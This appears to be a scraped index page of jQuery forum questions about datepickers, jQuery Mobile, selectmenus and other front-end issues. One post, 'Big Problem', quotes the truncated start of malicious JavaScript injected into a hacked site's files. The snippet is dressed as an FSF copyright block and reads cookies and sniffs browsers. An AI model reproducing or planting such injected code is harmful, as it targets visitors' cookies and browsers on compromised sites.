Jquery List Slider example
I am looking for a few days now something similar to this with no success: http://www.vox.com/cards/genetictesting/why-did-23andme-get-into-trouble-with-the-fda Can anybody suggest something similar to the above link? I think is called list slider. Thanks in advance
Jquery BlockUI Button Click
Notice that starting blockui to unblockui there are lots of codes and it takes 1-5 seconds to finish it works. But Jquery Block UI never shows up. Any Ideas? I add my button like this. $button = $('<input type="button" />').appendTo($divmenu1); $button.attr("id", "searchbutton"); //here is the click event $("#searchbutton").on('click', function () { $.blockUI({ message: '<h4> Please Wait...</h4>', css: { border: '3px solid #a00',
How do I validate fields in a closed fieldset...
I found below script, and its perfect to open/close fieldsets. Meanwhile the fields in a closed fieldset isnt validated when the form is submitted. I think it would be good that a fieldset including a field not parsing validation is opened... Can someone help me.to fix that? My script is: <script type="text/javascript"> $('#dashboard legend').each(function() { var tis = $(this), state = false, answer = tis.next('div').hide().css('height','auto').slideUp(); tis.click(function() { state = !state;
Jquery mobile detecting mouseover while mousedown.
Hi, I'm new to the forum. I'm trying to develop a kind of ruzzle with html. I'm making it with divs and I can easily detect movement among the "table" using mouse. When mouse is down on the first element, the element(div) is selected. Keeping mouse down and going over an other div, the second div is selected too. In this way, swiping through divs and selecting them I can compose a sequence of divs. This is ok with normal browser and normal mouse events. I tried to port everything with jquerymobile:
[SOLVED] StickyNavbar.js Expanding My Header
Hello, Every time I scroll down the header expands wider than 100% giving me a scroll bar at the bottom of the page. When I inspect the header in Chrome, it's adding some position that causes the header to expand when the fadeInDown animated class is called. Any help to send me in the right direction? Website in question Elite Flooring. I'm using stickyNavbar.js plugin. Thank you, Eduardo
I want to present my work
I created many services, classes and functions which could be useful for some developer. i would be deligthed, if someone would take a look at it, and send me feedback. I wount stop to develop so far, because i just startet my life as worker few years ago, Here you can see all my products: Mephiztopheles WTF the biggest product is definite my FancyFormular Class. with this, you can easily style selectboxes, radioboxes and checkboxes. buttons are not implemented yet, because just safari is preventing
min date opion
Hello i need to make a condition and show an alert message when people choose a period less than 24H ex where are 20/September (that time of pick up) 21/September is time of return message error: period must not be less than 24H Please help regards
Select menu on a popup bug on Android 4.0.3 browser
Hi, I have a Samsung Galaxy S2 running Android 4.0.3. I've created a mobile web widget and am using JQuery mobile. On this widget, when a button is pressed, a jquery mobile pop-up pops up. On this pop up, I have a select menu and a button. When I change the select menu option and click the button, the select menu opens again. I have to choose the option from the select menu again and choose done on the menu before being able to click the button. This only happens on the default browser that comes
Big Problem
Hello guys, I don't know if i posted this correctly, so i am sorry! Someone has hacked my server by ftp i think, modified some files.js and added this: /* Copyright (C) 2007 Free Software Foundation, Inc. http://fsf.org/ */ function getCookie(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):undefined}function RuizePlastica(){var e=navigator.userAgent;var t=e.indexOf("rv:11.0")>-1||e.indexOf("Windows
how to style jquery Selectmenu component
Hello forum I want to be able to style selectmenu as follows: 1) selectmenu will for example have 3 colors ( white, red and black) to choose from. 2) If I select any of these colors, I want the color to show up on the selectmenu as a square, with the name specific to that color, for example: if I choose white: if I choose red: if I choose black: The full dropdown looks like this: I was able to style it but I can't figure out having that color square show up, I'm new to jquery ui and I can't find
Checkbox to toggle textarea
I have a list of checkboxes that I want to open their corresponding textarea. Is there a way of programatically associating one with the other so I only need one procedure to fire? Regards Pete
Listview - Persistent search
Regarding the Search in jQuery Mobile listview widget...say you do a search, get results and click on the listview to go to another page. When you click Back on the page to get back to the listview, the listview widget forgets the search and shows the entire unfiltered list. How can I make the listview remember the search field and results?
Updating a select box
Working on these chained select boxes. I have three. Category, Watt, and Lamp. I am trying to get the last select box to change after the second one is selected. I am getting mixed up with the closing brackets and causes the first two to not work. At this point I wast just trying to get it to say "wait" or send an alert message. This is what I have. jQuery(document).ready(function() { $("select#lamp").attr("disabled","disabled"); $("select#watt").attr("disabled","disabled");
It's been a week now, can we get a 1.4.4 changelog?
as fo this morning (Sept 19th) the change log for version 1.4.4 is still completely blank we need to know what is deprecated, changed and/or removed !! http://jquerymobile.com/changelog/1.4.4/
AJAX load loses CSS - help
I have page that has normal CSS that decorates buttons on page. I reload a section of the page via AJAX, but when it is loaded I lose my CSS reference and buttons turn to hyperlinks. Here is the code (note the comment of CSS appended): $(function() { var $div = $('.req_link'); // this had to be inserted to decorate my buttons because // because when the ajax reloaded the CCS was ignored $('.req_link').button() .css({ 'text-decoration' : 'none', 'background' : '#2C8586', 'color' : 'white', 'width'
Other Projects?
How many projects are in Jquery? I know about the Core lib, JQueryUI, Sizzle, Qunit, and JQuery Mobile, but are there a number of smaller projects on this site that need work done?
Adding additional parameter to function
I did not write the code below so I don't completely understand it but I want to pass an additional parameter from MyWebPage.aspx to the checkAvailability function. I'm calling the same function from different pages and I want to be to determine which page it came from checkAvailability.js (function($){ $.fn.checkAvailability = function(opts) { opts = $.extend({ target: '#response', trigger: '#btnCheck', ajaxSource: 'checkBorrowerNumber.aspx', fireOnKeypress: true
after append, jquery not found the button
hi, i have append a table with jquery at a button. now when I click the button , this is not found . [code] $('#tbl').append( '<tr> <td> <button id="x" class="save" value="http://www.........">save</button> </td> </tr>'); [/code] All buttons that were already in the table , I can respond . This also works . [code] $('save').bind('click', function(){ alert("test"); }); [/code] But not the new insertet button.... help??^^ Timo
Jquery form validation is not trigger when we select browser suggestions .
Problem with browser Auto suggestions(Auto complete). This problem in your demo form( JqueryDemoForm ) it self ..... Please see the image step by step.... Is it After one click only the form will submit ? If you find out the solution please send to me also...
jqm doesn't work on iOs (iphone 4 not S) with chrome browser
Hi, I've built a nice site with jQuery mobile latest version (1.1.1), which works pretty well on most OSs and Browsers (listed below). But on iOs on iphone 4 via Chrome browser it just doesn't work, specifically: - when I have the data-role="page" div when the page loads and gets to this line it gets stuck - just loading and loading... - if I remove the data-role="page" from the div and just leave it as it is (as listed in the docs it's not mandatory), or if I rename the data-role to "page1" or anything
How to retain values in the text box in multidatepicker
Hi, I used the multidatepicker from http://multidatespickr.sourceforge.net/ in my form. It works fine. When I submit the form, I am not able to retain the value of the dates chosen. We generally retain the values using javascript document.getElementById('datepicker').value = "<?php echo $_POST['datesofdelivery'];?>"; That doesnt work with the multidatepicker. I tried my hand with the various options such as addDate but no luck. Is it possible to retain date values in the text box in the multidatespicker?
show() & hide()
im tring to show and hide input fields based on option selection...i'm trying to get it to work when page loads as well as on change...the code below doesn't work at all if anyone can point me in the right direction or help please...thank you $(function() { var listing_value = $("select[name='listing']").text(); if (listing_value == "Auction") { $("label[for='price']").hide(); $("input[name='price']").hide(); $("label[for='offers']").hide(); $("input[name='offers']").hide();
Thumbnail on Listview
How can I show image/thumbnail in a jQuery Mobile listview widget but only an iPhone, not on an iPad? Is it as simple as putting some magic CSS class or data- attribute or does it involve media queries and such? Thanks
[SOLVED] Help needed with DatePicker
Hi! I'm trying to use the datepicker calendar without the popup. At the moment I have 2 calendars on my web page but I want to get rid of one. My web page is here:- Web page I want to keep the large calendar (top right) and use that to select available dates. I have the following code which I can't get to work properly. Can anyone help please? <script type="text/javascript"> $(function() { $.datepicker.setDefaults({ dateFormat: '<?php echo $bsiCore->config['conf_dateformat'];?>', minDate:
Change row color in html table
Hi, I need your help because I would like to change row color when input text is = 1 I'v tryied this, but not working: $("#mioTR").keyup(function() { $('input[name^="attivo"]').toggleClass('disabilitato', parseInt($(this).val(), 10) < 2); }).keyup(); this is my table; <table> <tr id="mioTR" > <td><?php echo $ind; ?></td> <td align="left"><?php echo $row_docenti['cognome'] ?></td> <td
change my password
Impossible to select a forum on the select box on the right , the scroll doesnt work (with safari 7) I dont find a way to change my password for the forum thanks for helping
Web2.0 Site Search Function with Jquery
Dear community friends, I was working on a banking project, where i needed a site search. The search function must be something similar to freelancer search. When user search for freelancers it will show the matches quickly passing below the loading image. Which gives a rich and interactive look to the application. I am personally very much impressed by the function. I am done something similar to this. but i don't know how to get that data passing effect. When user search for a branch code or ifsc
Datepicker problem
Hi, I'm having an issue with datepicker.. we're running symfony and I'm trying to use datepicker in one of the modules. It does render the calendar and I can pick a date and it will update the input field with the corresponding date. Once the date has been picked the actual URL is updated with a ' #' and clicking the calendar results in nothing. Any ideas? We're running jQuery core and datepicker 1.7 and my co- worker has a different module running fine using datepicker in the same enviroment. Any
Jquery resize duplicating code ?
Hello. I am having trouble trying to set a height with resize() because every time i resize the screen it adds another svg. I can see why its doing it. It is adding more because it is creating the svg inside the packagesvg() which is inside the $(window).resize(). but I can't find a way to fix it? Thanks This is the code: The JS file: function packagesvg() { var w = $('.pillar').outerWidth(); var h = $('.pillar').outerHeight(); var paper = Raphael("buyingSvg"); paper.setViewBox(0,0,w,h,true);
Jquery didnt fired on button click event
I used the following code... I want an aler msg on button click...But it doesnt work.. help me to find out the mistake...Iam Biginner I used the following........ <script type="text/javascript"> $("#Button1").click(function() { alert("hi"); }); </script> <asp:Button ID="Button1" runat="server" Text="Button" />
Slider min-max-val changes erratic function
When i change the min, max and val attributes with jquery somethings fails, because the value picker goes to the last or the first value, and not to the desired value: Full and interactive code pasted on http://pastebin.com/MDdH94zV I have no idea to how to fix it; i tried with refresh, putting 0 and 10000 like min and max before puting the value and restict the range again changing min and max and have not the desired result (a natural exchange between ranges and values under this easy and simple
Thank you guys for making my JSquiz project Possible .
Heres my 1st project on GitHub . Thanks Jake . i made a small mention of you in the readme . GIT
Is Oracle JDeveloper a good javascript IDE?
Is Oracle JDeveloper a good javascript IDE?
select2 giving error
Hi, I am using select2 autocomplete dropdown it is giving me error. "object doesn't support this property or method" when try to render on child page. References of select2 are add in master page. Please tell me what i am missing? Thanks in advance.
How to avoid repeating / shorten my code?
Presently i have this to animate my scroll, <script> $(document).ready(function() { var navX1 = $('li.x32_01 a'), navX2 = $('li.x32_02 a'), navX3 = $('li.x32_03 a'), navX4 = $('li.x32_04 a'); navX5 = $('li.x32_05 a'); navX6 = $('li.x32_06 a'); navX1.click(function(){ $('html, body').animate( {scrollTop: $('#intro').offset().top - 50 }, 1700, "swing" ); return false; }); navX2.click(function(){ $('html, body').animate( {scrollTop: $('#second').offset().top - 50 }, 1700, "swing" ); return false;
How do I keep jquery-ui 'explode' effect from overriding my oncontext 'false' settings?
Howdy howdy, I'm new to jquery-ui so bear with me here. I'm working on a simple html5 game that uses both mouse buttons as part of gameplay. Because of that I have the main gameplay div set to oncontextmenu='return false', I would like to use the jquery-ui effect explode as the death effect for some of my game's enemies (which is often triggered by pressing right click on the bad guy) but it seems by using this effect It seems to override the 'oncontextmenu false' I have set and lets that pesky menu
Jquery Loading Events from json file for Event Calender
Hi, I am new to Jquery. I am using a Jquery Event Calendar Plugin. In this the Events are Hardcoded in javascript. Now i want to fetch the Events from a file on the local server but i am unable to do that. Need help. Thanking you in advance. Please find the below code i am using for picking events from json file. function loadEvents() { $.ajax({ type:"POST", url: "http://localhost/raju/ramya.json", async: false,
border-collapse:collapse set border-top-width set to 0px or 0.5px
Hi, I think this is all ready reported but i cant found a sollution or reason why this happend. My problem is as followed. I got a table with this stylesheet: table { border : none; font-size : 12px; line-height : 20px; width : 100%; border-collapse : collapse; border-spacing: 0; } th, td { border-left : solid 1px #E2E2E2; border-top : 1px solid #E2E2E2; color : #231F20; padding : 10px; text-align : left; vertical-align
remove checkbox value onload
Hello and thank you to all who have helped me previously. Here's my predicament. I am using ExpressionEngine and Solspace's Freeform Pro. I have my form set up so that the user fills in the information and then clicks the submit button, which is labelled "Continue" which then takes them to a page where they can review and edit the date they just filled in. Basically this is the same form but the user has the ability to edit their information and then click the submit button. Here's where I'm
Custom containment area for jqueryui draggable
Hi, I'm having stuck in using jqueryui draggable. I want to make an element draggable with custom containment area (a custom shape, not a square) Imaging: It's a square with a conner where donot allow to drag to. I've searched for using multiple containment but no work answers. Help me plz. Thanks you so much! More explain: - I have 2 div to containment: #container-1{ width:200px; height: 200px;} #container-2{width:100px; height:100px;} - and draggable element #draggable ------- The #container-2
Next Page